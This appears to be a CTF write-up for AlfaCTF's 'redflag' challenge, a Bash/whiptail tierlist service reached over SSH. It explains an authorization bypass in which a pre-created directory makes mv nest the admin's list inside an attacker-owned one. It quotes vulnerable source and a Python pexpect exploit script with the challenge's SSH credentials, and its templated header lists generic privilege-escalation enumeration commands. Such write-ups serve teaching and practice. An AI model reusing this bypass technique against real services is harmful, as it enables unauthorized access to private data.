← Back to Writeups
HTBN/AMisc

Ред-флаг - redflag

XESXOR8/23/20264 min read
#misc#htb#n/a

Ред-флаг - redflag

Platform: Alfactf | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: destination_collision_abuse, metadata_confusion, nested_directory_disclosure, recursive_listing_abuse

Summary

Task: an SSH Bash/whiptail tierlist service stored each list as a directory and enforced restrictions through root metadata. Solution: pre-create the join destination, abuse mv's existing-directory behavior to nest the admin list inside an attacker list, then read recursively exposed items checked against the wrong .meta file.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: alfactf | ID: 20260425_alfactf_redflag
  • Tags: bash, access_control_bypass, shell_service, whiptail, file_move, metadata_confusion, directory_nesting
  • Indicators: mv src existing_dir moves the source inside the destination instead of renaming it, find "$tl_dir" -type d -name 'tier_*' recursively enumerates nested tiers, authorization decisions use top-level .meta even when item files come from nested directories
  • Source: 20260425_alfactf_redflag.md

Foothold

Vulnerability / Misconfiguration

  1. Destination_collision_abuse
  2. Metadata_confusion
  3. Nested_directory_disclosure
  4. Recursive_listing_abuse
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • destination_collision_abuse
  • metadata_confusion
  • nested_directory_disclosure
  • recursive_listing_abuse
  • Tags: bash, access_control_bypass, shell_service, whiptail, file_move, metadata_confusion, directory_nesting

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Ред-флаг

English summary: the challenge provides SSH access to a Bash + whiptail tierlist manager. Tierlists live as directories under /data/tierlists, source is available at https://alfactf.ru/files/redflag.sh, and the goal is to recover a flag hidden in the admin's private list.

Analysis

The bug is a directory move / authorization mismatch.

Each tierlist is a directory with a root .meta file. Restricted items are listed there by filename, and read access is derived from that root metadata only:

is_restricted() {
    local restricted
    restricted=$(meta_get "$1" "restricted") || return 1
    [[ -z "$restricted" ]] && return 1
    local IFS=','
    for r in $restricted; do
        [[ "$r" == "$2" ]] && return 0
    done
    return 1
}

can_read_file() {
    if is_restricted "$1" "$2"; then
        is_owner "$1"
    else
        return 0
    fi
}

When viewing a tierlist, the UI recursively walks all nested tier_* directories:

while IFS= read -r -d '' td; do
    tier_dirs+=("$td")
done < <(find "$tl_dir" -type d -name 'tier_*' -print0 2>/dev/null | sort -z)

The important detail is that later checks still use the original top-level tl_dir rather than the real parent of the nested file:

if ! can_read_file "$tl_dir" "$item_fname"; then
    msg "[LOCKED] $item_name\n\nДоступ ограничен владельцем тир-листа."
    return
fi

So if a foreign tierlist can be placed under our own root, every nested item is evaluated against our .meta, not the victim tierlist's .meta.

The join operation is what makes that possible:

join_tierlist_by_name() {
    local tl_name="$1"
    local new_name="${tl_name}__with__${CURRENT_USER}"

    mv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name"
    ...
}

This assumes mv will always rename the directory. That is false: if $TIERLISTS_DIR/$new_name already exists and is a directory, mv places the source tierlist inside it.

So if we first create our own tierlist named:

gorpcore_redflags__with__rfbkqsl

and then join the public/admin tierlist gorpcore_redflags, the service executes:

mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl

Result:

/data/tierlists/gorpcore_redflags__with__rfbkqsl/           # attacker-owned root
└── gorpcore_redflags/                                      # moved victim tierlist
    └── tier_d/
        └── ...

Now view_tierlist recursively discovers the nested tier_* directories from the moved victim list, but access checks still use the outer attacker-owned root .meta. That bypasses the victim's restrictions and exposes private previews and item contents.

Solution

  1. Log in with a fresh username. I used rfbkqsl.
  2. Create a tierlist named gorpcore_redflags__with__rfbkqsl so it collides with the destination name the service will later build.
  3. Open the public tierlists and join admin's gorpcore_redflags.
  4. The service runs mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl.
  5. Because the destination already exists, the admin tierlist is moved inside the attacker-controlled directory.
  6. Reopen the attacker-owned list. Recursive find now discovers nested tiers from the moved admin list.
  7. Because reads are authorized against the outer .meta, restricted admin items are displayed anyway.
  8. In the D tier, the preview shows flag: alfa{REDACTED}.

Minimal exploit script:

#!/usr/bin/env python3
import random
import string
import time

import pexpect

CMD = (
    "sshpass -p 'Q4gwbpZx1HywxSWfCLWqSQ' "
    "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -tt "
    "redflag@redflag-h306xs1x.alfactf.ru"
)

user = "rf" + "".join(random.choice(string.ascii_lowercase) for _ in range(5))
collision = f"gorpcore_redflags__with__{user}"

child = pexpect.spawn("/bin/sh", ["-c", CMD], encoding=None, timeout=30)
child.setwinsize(40, 120)

time.sleep(1)
child.send(user.encode() + b"\r")

# Main menu -> create tierlist
time.sleep(1)
child.send(b"\x1b[B\x1b[B\r")
time.sleep(1)
child.send(collision.encode() + b"\r")

# Back to main menu -> public tierlists -> join selected admin tierlist
time.sleep(1)
child.send(b"\r")
time.sleep(1)
child.send(b"\r")
time.sleep(1)
child.send(b"\x1b[B\r")
time.sleep(1)
child.send(b"\r")

# Browse the nested tiers; the D-tier preview reveals the flag.
time.sleep(3)
print(child.read().decode("utf-8", errors="ignore"))

Recovered flag:

alfa{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR